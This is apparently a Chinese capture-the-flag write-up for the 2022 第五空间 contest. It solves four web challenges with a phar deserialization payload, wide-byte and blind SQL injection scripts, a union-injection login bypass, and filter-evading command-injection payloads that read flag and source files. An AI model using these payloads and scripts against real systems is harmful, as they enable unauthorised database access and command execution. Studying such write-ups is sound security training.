第五空间2022wp
收获颇丰,这次aurora把web给ak了,希望下次还能继往开来,勇攀高峰
5_web_BaliYun
签到题
/upload/
/www.zip
反序列化,
运行如下,保存为phar.jpg
<?php
class upload{
public $filename;
}
$a=new upload();
$a->filename = 'php://filter/convert.base64-encode/resource=/flag';
//@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'."__HALT_COMPILER();");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
http://xxxx?img_name=phar://./upload/phar.jpg
即可getflag
5_easylogin
看到gbk。怀疑宽字节。
%df%27
但其实赛后发现这样想才对:
输入admin回显密码错误
输入admin'回显用户名不存在
这说明sql查询了admin'这个字符串
在排除预编译的情况下,只有addslashes会转义单引号插入数据库中,产生这个效果
而addslashes优先考虑宽字节注入,如果这个都不行的话没有其他攻破的方法了
尝试后可以看到报错,尝试如下盲注
import requests
import urllib
url = "http://39.105.13.61:10808/login.php"
flag = ''
for j in range(1,100):
for i in range(32,126):
data = {"password":"thai",
"username":"thai"+ urllib.parse.unquote("%DF") +"'^if(ascii(substr(user(),{0},1))>{1},exp(999999),1)#".format(j,i)}
resp = requests.post(url=url,data=data)
if "exp(999999)" not in resp.text:
print("[+]"+flag+chr(i))
flag = flag +chr(i)
break
else:
print("[-]test...")
结果发现select这些要双写绕过,注出来后密码是md5的,没用,尝试union 联合查询登录
十六进制绕过单引号
username=-admin%df'ununionion/**/seselectlect/**/1,0x61646d696e,0x3231323332663239376135376135613734333839346130653461383031666333#&password=admin
为啥这样可以,是因为回环验证的
后端代码猜想(伪代码 ):
$res = mysql_querry("select password from users where username='"+$_POST['username']+"';")
if($res['password']===md5($_POST['password'])){
print("success! this is your flag{xxx}")
}
0x61646d696e这个是admin的md5编码,对上就行,不过单引号被过滤,所以要十六进制编码下
5_web_letmeguess_1
爆破一下,密码admin123
fuzz一下过滤这些
这是堆叠注入常用的,既然暗示堆叠注入,往这里绕过很快想到%0a
cat过滤了,用nl,rev,tac,base64都可以绕过
空格被过滤,用%09
kylin被过滤了,用kyli?绕过
?ip=123%0acd%09k*%0abase64%09*
最后我读了下源码(直接tac *),把它完整的复现起来
完整的源码不拿出来了,要的私聊
如果想要复现的话可以拉取我的镜像
docker pull ththaiai/5space2022_letmeguess
docker run -p 你的端口:80 -d ththaiai/5space2022_letmeguess
核心代码
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|touch|more|curl|scp|kylin|echo|tmp|var|run|find|grep|-|`|'|:|<|>|less|more)/", $ip, $m)) {
$cmd = "ping -c 4{$ip}";
exec($cmd, $res);
} else {
$res = 'Hacker,存在非法语句';
}
}
exec这个函数
就是只输出最后的内容,它可以堆叠注入,%0a可以作为一条命令的结束
一开始有个疑问,为什么ping正常的地址没有回显呢,当时黑盒的时候,拿过dns测试,结果也无收到请求,怀疑是不出网
后来发现windows本地随便瞎写一个地址,它连报错都有回显
(后面发现win下-c需要管理员权限,我嫌麻烦就把它去掉了,不影响的)
请求正常地址,会先等待
最后输出
所以这里考虑一个点,题目环境的ping没有安装(或者ping的功能被ban了)
随便拉个没装ping的镜像:theeastjun/xdebug3:7.4-apache
随后成功复现
当然这里面不排除有win的影响,一般win报错也会有一定回显,但是php-apache镜像正常只要不改配置都是不回显报错信息的
经过尝试,exec使用%0a只有在linux下可以复现成功,win下无论如何都会输出ping的内容,%0a后的东西直接被忽略(弹计算器也不行)
其他payload
斜杠也可以使用${PATH%%u*}
绕过
5_web_Eeeeasy_SQL
这里由于时间关系,当时直接猜表名users,字段id,username,password
如果想注入得出可用如下脚本
import requests
burp0_url = "http://39.106.138.251:9275/api/api.php?command=login"
burp0_cookies = {"PHPSESSID": "8geum53sbt0u2gtgi9sffpcci3"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest", "Origin": "http://39.107.115.3:30533", "Connection": "close", "Referer": "http://39.107.115.3:30533/"}
flag = ''
while True:
for i in range(32, 127):
burp0_data = {"username": "admin\\",
#"password": "or(case(1)when(instr(binary(database()),{}))then(cot(0))else(1)end)#".format(flag+str(hex(i)[2:]))
#or(case(1)when((binary(0x{}),null,null)<(table(users)))then(cot(0))else(1)end)#".format((flag + str(hex(i)[2:])))
"password":"or(case(1)when((binary(0x{}),null,null)<(table(users)))then(cot(0))else(1)end)#".format((flag + str(hex(i)[2:])))
}
print (burp0_data['password'])
res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, allow_redirects=False)
# print res.text
if "success" not in res.text:
flag += str(hex(i)[2:])
print (flag)
break
if i==126:
print (flag)
exit()
绕单引号,用hex编码就好
import requests
url="http://39.106.138.251:9275/api/api.php?command=login"
s = ""
# 61646d696e40363636
# 61646d696e403838383932
while True:
for i in range(32,128):
data = {
"username": "xxx\\",
# "password": f"^cot(((table\x0ausers\x0alimit\x0a1,1)>(1,binary\x0a0x{s+hex(i)[2:]},0,0)))#"
# "password": f"^cot(((table\x0ausers\x0alimit\x0a1)>(1,0x61646d696e40363636,binary\x0a0x{s+hex(i)[2:]},0)))#"
# "password": f"^cot(((table\x0dusers\x0dlimit\x0d0,1)>(1,binary\x0d0x{s+hex(i)[2:]},0,0)))#"
"password": f"^cot(((table\x0dusers\x0dlimit\x0d2,1)>(3,binary(0x{s+hex(i)[2:]}),0,0)))#"
# "password": f"^cot(username>0x{s+hex(i)[2:]})#"
# "password": f"^cot(binary(password)>0x{s+hex(i)[2:]})#"
# "password": f"^cot(id>0x{s+hex(i)[2:]})#"
# "password": f"^cot(((table\x0ausers\x0alimit\x0a1)>(1,0x61646d696e40363636,0x61646d696e403838383932,binary\x0a0x{s+hex(i)[2:]})))#"
}
res = requests.post(url,data=data,allow_redirects=False)
# print(url)
print(data)
# print(res.text)
if "\\u8d26\\u53f7\\u6216\\u5bc6\\u7801\\u9519\\u8bef!" not in res.text:
s+=hex(i-1)[2:]
print(s)
break
账号 Flag_Account
密码G1veY0u@_K3y_70_937_f14g!!!
之后那个正则,^
只作用在/flag上,所以//flag就不是以/flag开头的字符串了,成功绕过
读取//flag
交wp的时候主办方过来问我们细节,这时经过提醒发现是非预期,预期解是/proc/self/root/flag